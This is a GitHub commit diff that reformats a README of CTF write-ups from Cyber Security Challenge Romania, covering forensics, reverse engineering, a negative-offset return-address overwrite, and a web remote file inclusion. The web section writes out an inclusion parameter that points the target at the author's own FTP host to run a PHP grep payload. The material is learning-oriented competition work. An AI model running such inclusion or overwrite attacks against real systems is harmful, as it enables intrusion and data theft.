Skip to content

Commit 47f7735

Browse files
author
SSS Student
committed
Merge branch 'master' of github.com:Redridge/CSC-RO
2 parents 6dc70c8 + 928bee8 commit 47f7735

File tree

1 file changed

+69
-53
lines changed

1 file changed

+69
-53
lines changed

README.md

+69-53
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,28 @@
1-
**Cyber Security Challenge Romania**
2-
3-
**Task Write-ups**
4-
5-
*by RED*
6-
7-
***Forensics***
8-
9-
**Johnny’s Coloring Book – 50 pts**
1+
# Cyber Security Challenge Romania
2+
---------
3+
## Task Write-ups
4+
5+
### _by RED_
6+
7+
### What is this?
8+
These are my solutions to the tasks that I managed to solve during the [Cyber Security Challenge Romania](http://www.cybersecuritychallenge.ro/). Note that these are not all the tasks.
9+
10+
### Contents
11+
1. [Forensics](#forensics)
12+
* [Johnny's Coloring Book](#johnnys-coloring-book)
13+
* [Johnny's Router](#johnnys-router)
14+
* [Johnny's Hotseat](#johnnys-hotseat)
15+
2. [Reverse Engineering](#reverse-engineering)
16+
* [Re100](#re100)
17+
* [Re200](#re200)
18+
* [Re500](#re500)
19+
3. [Exploitation](#exploitation)
20+
* [Lucky 4](#lucky_4)
21+
4. [Web](#web)
22+
* [Web1](#web1)
23+
24+
## Forensics
25+
#### Johnny's Coloring Book
1026

1127
This task provided us with a .zip file. When trying to unzip I quickly
1228
found out it is protected by a password.
@@ -17,7 +33,7 @@ I managed to find the password using a dictionary attack.
1733

1834
![](./media/image2.png)
1935

20-
Let’s see what kind of file “book” is:
36+
Let's see what kind of file `book` is:
2137

2238
![](./media/image3.png)
2339

@@ -28,43 +44,44 @@ see the whole lines. Tried different font sizes. At font size 2 bingo!
2844

2945
![](./media/image5.png)
3046

31-
**Johnny’s router – 100pts**
47+
#### Johnny's router
3248

3349
In this task we are given a .bin file
3450

3551
![](./media/image6.png)
3652

3753
Firstly I tried to extract its contents with binwalk.
54+
`binwalk -e -M johnnys_router.bin`
3855

3956
![](./media/image7.png)
4057

4158
Here is an interesting part. The first time I tried to do this I did not
42-
get the squashfs-root directory. I wanted to mount the “120000.squashfs”
59+
get the squashfs-root directory. I wanted to mount the `120000.squashfs`
4360
filesystem so I checked online and I found out I needed the
44-
squashfs-tools util. I did not manage to mount the file so I scrapped
61+
`squashfs-tools` util. I did not manage to mount the file so I scrapped
4562
everything and started again. Now that I had the squashfs-tools the
4663
squashfs-root directory appeared.
4764

4865
![](./media/image8.png)
4966

5067
![](./media/image9.png)The directory seemed to be a root directory of
51-
some filesystem (presumably the router’s fs). In the task description it
68+
some filesystem (presumably the router's fs). In the task description it
5269
was stated that Johnny tried to make some improvements to his router so
5370
I looked for the last modified files.
5471

5572
The first file in the list is a picture which I opened and found nothing
5673
interesting. The second file is a script that prints the flag. I just
5774
ran the script and obtained the flag.
5875

59-
**Johnny’s Hotseat – 150 pts**
76+
#### Johnny's Hotseat
6077

6178
In this task we were given a .pcap file. First though in my head was
6279
wireshark.
6380

6481
![](./media/image10.png)
6582

6683
It seemed to be a USB traffic capture. After looking a little bit into
67-
it I found out that every device introduces itself to the host
84+
it I found out that every device introduces itself to the host.
6885

6986
![](./media/image11.png)
7087

@@ -74,42 +91,41 @@ more clearly.
7491

7592
![](./media/image12.png)
7693

77-
After some research on the internet I found out that the keys pressed
94+
After some research I found out that the keys pressed
7895
should be in the Leftover Capture Data section of the packets
7996

8097
![](./media/image13.png)
8198

8299
Now I needed the codes that represent each key on the keyboard. I found
83-
them after a few google searches here
84-
<http://www.win.tue.nl/~aeb/linux/kbd/scancodes-14.html>. In the first
100+
them after a few google searches [here](http://www.win.tue.nl/~aeb/linux/kbd/scancodes-14.html). In the first
85101
packet I could see a 0x09 in the Leftover Capture Data which
86-
corresponded to ‘f’. Interestingly for every packet with data in it
102+
corresponded to `f`. Interestingly for every packet with data in it
87103
there was also a packet without any data. I presumed that a packet is
88104
sent when the key is released also.
89105

90-
After the first 8 packets the word “flag” was formed and I expected to
91-
see the ‘{‘ character next. This is what the next 3 packets contained.
106+
After the first 8 packets the word `"flag"` was formed and I expected to
107+
see the `{` character next. This is what the next 3 packets contained.
92108

93109
![](./media/image14.png)
94110

95111
![](./media/image15.png)
96112

97113
![](./media/image16.png)
98114

99-
The 0x2f code meant the ‘[‘ or with Shift pressed the ‘{‘ that I was
115+
The 0x2f code meant the `[` or with Shift pressed the `{` that I was
100116
expecting. So I presumed that the 0x20 in the beginning of the Leftover
101-
Data must be the Shift key, even if the 0x20 was the code for ‘3’.
117+
Data must be the Shift key, even if the 0x20 was the code for `3`
102118

103119
Using this technique I managed to retrieve the flag. At some point the
104120
user pressed 2 keys and at some point he pressed the Backspace key
105121
deleting the previous character as far as I can remember. The flag was:
106122
flag{Usb\_is\_easy\_peasy} with some numbers instead of letters (I was
107-
really bored and did not want to solve the task again :D pls don’t judge
123+
really bored and did not want to solve the task again :D pls don't judge
108124
me)
109125

110-
***Reverse Engineering***
126+
## Reverse Engineering
111127

112-
**Re100**
128+
#### Re100
113129

114130
We were given a binary file that was asking for some kind of password.
115131

@@ -132,28 +148,28 @@ Ok, now that we have found the password we can feed it to the binary.
132148

133149
![](./media/image21.png)
134150

135-
**Re200**
151+
#### Re200
136152

137153
This task was a bit harder. While examining the file with IDA I found
138154
that it had no print instructions yet upon execution it printed some
139155
stuff. The instructions were fairly complicated with many jumps and I
140156
found them hard to follow. So I started looking for that print/write
141157
instruction or sys call. I found out that the file was mostly made out
142158
of byte declarations. At some point I tried to follow it line by line
143-
and I found it jumped to an address that IDA wasn’t showing me as code.
159+
and I found it jumped to an address that IDA wasn't showing me as code.
144160
I figured in those declarations there must be instructions but more
145161
importantly strings (and among them the flag).
146162

147163
![](./media/image22.png)
148164

149-
So I run strings on the file. I found a lot of interesting stuff but at
165+
So I run `strings` on the file. I found a lot of interesting stuff but at
150166
some point I hit the jackpot.
151167

152168
![](./media/image23.png)
153169

154170
That had to be the flag but it was not complete. I tried guessing it but
155-
it did not work so well. So I took another approach. First I run “xxd
156-
easy | grep pr3” to find the address at which the flag resides in the
171+
it did not work so well. So I took another approach. First I run `xxd
172+
easy | grep pr3` to find the address at which the flag resides in the
157173
memory.
158174

159175
![](./media/image24.png)
@@ -165,15 +181,15 @@ memory is read.
165181

166182
And then run. The second time I did this I encountered a problem. For
167183
some reason the string was not at that address but instead at 0x0036bb0
168-
(found out using gdb find). Anyways I used the same principles both
184+
(found out using gdb `find`). Anyways I used the same principles both
169185
times. After setting the correct watchpoint and running, the program
170186
broke when that memory was read. I started running instruction by
171187
instruction to see what is happening. Eventually the flag was put in
172188
plain text after a few instructions.
173189

174190
![](./media/image26.png)
175191

176-
**Re500**
192+
#### Re500
177193

178194
First of all this task provided a Windows executable file (.exe) so for
179195
that I switched to my Windows machine. Similar to Re200 this one asked
@@ -186,16 +202,16 @@ After some research I found where the checking occurs.
186202
![](./media/image28.png)
187203

188204
Basically what happens here is that a memory zone is checked and if all
189-
the 0x20 (32) bytes are 00 then it will display a message saying that
205+
the 0x20 (32) bytes are 0x0 then it will display a message saying that
190206
the flag is correct. So I ran the program with the argument
191-
flag{A\*26times} because I knew the key had to be 32 bytes long and I
207+
flag{A\*26 times} because I knew the key had to be 32 bytes long and I
192208
checked that memory address to see what I can find there.
193209

194210
![](./media/image29.png)
195211

196212
So my argument was put there. I did a lot of research at this point,
197213
trying to figure out what is happening to that memory chunk. I realized
198-
that the memory chunk was “transformed” using a series of subroutines
214+
that the memory chunk was 'transformed' using a series of subroutines
199215
which I tried to understand. It took me a lot of time and it proved
200216
worthless because later I found something more interesting. My key was
201217
transformed like this :
@@ -218,9 +234,9 @@ Here is how the paper looked like(I also noted S but it is useless):
218234

219235
![](./media/image32.jpeg)
220236

221-
***Exploitation***
237+
## Exploitation
222238

223-
**Lucky\_4**
239+
#### Lucky\_4
224240

225241
This task provided us with a binary and the source code for it. I
226242
checked the source code first. After some research I found out this.
@@ -234,15 +250,15 @@ it still accepts negative offsets
234250

235251
![](./media/image34.png)
236252

237-
![](./media/image35.png)Indeed it accepts negative offset. Let’s see
253+
![](./media/image35.png)Indeed it accepts negative offset. Let's see
238254
what can we overwrite.
239255

240256
This is the start of the play function. As we can see on the top of the
241257
stack is the return address which we can overwrite by giving negative
242258
offset to the buffer. Below the return address we can find the starting
243-
address of the buffer. 37b – 35c = 1f (29) this should be the negative
259+
address of the buffer. 37b - 35c = 1f (29) this should be the negative
244260
offset we want to give to overwrite the first byte of the return
245-
address. Let’s test it.
261+
address. Let's test it.
246262

247263
![](./media/image36.png)
248264

@@ -260,43 +276,43 @@ Turns out I only have to modify the last 2 bytes.
260276

261277
![](./media/image40.png)
262278

263-
Bingo! Now let’s do it on the server to retrieve the flag.
279+
Bingo! Now let's do it on the server to retrieve the flag.
264280

265281
![](./media/image41.png)
266282

267-
***Web***
283+
## Web
268284

269-
**Web1**
285+
#### Web1
270286

271287
For this task we were given a link to a website.
272288

273289
![](./media/image42.png)
274290

275-
That was pretty much it. Let’s check the source code.
291+
That was pretty much it. Let's check the source code.
276292

277293
![](./media/image43.png)
278294

279-
So apparently it queries the url for ‘module’ and adds some uniqids at
280-
the end. If the file exists at the end, it will include it. My first
281-
thought was to pass it a .php executing grep for the flag using a ftp
282-
server. But the uniqids would ensure that my file never actually
295+
So apparently it queries the url for `module` and adds some `uniqid`s.
296+
If the file exists in the end, it will include it. My first
297+
thought was to pass it a .php executing `grep` for the flag using a ftp
298+
server. But the `uniqid`s would ensure that my file never actually
283299
existed. What if I could make a ftp server that would reply to every
284300
request with the same file though? I made some research to see if that
285301
could work and I found a ftp server written in python that did exactly
286302
this.
287303

288304
![](./media/image44.png)
289305

290-
I changed the ip to my vps ip and the evil\_file to a grep.PHP. Next I
306+
I changed the `ip` to my vps ip and the `evil_file` to a grep.PHP. Next I
291307
proceeded to write the grep.PHP
292308

293309
![](./media/image45.png)
294310

295-
Simple just executing a recursive grep after ‘flag{‘ which I knew was
311+
Simple just executing a recursive grep after `"flag{"` which I knew was
296312
the start of the flag.
297313

298314
I started the server on my VPS and then passed
299-
module=ftp://188.166.72.43/hooya or anything for that matter.
315+
`module=ftp://188.166.72.43/hooya` or anything for that matter in the url.
300316

301317
![](./media/image46.png)
302318

0 commit comments

Comments
 (0)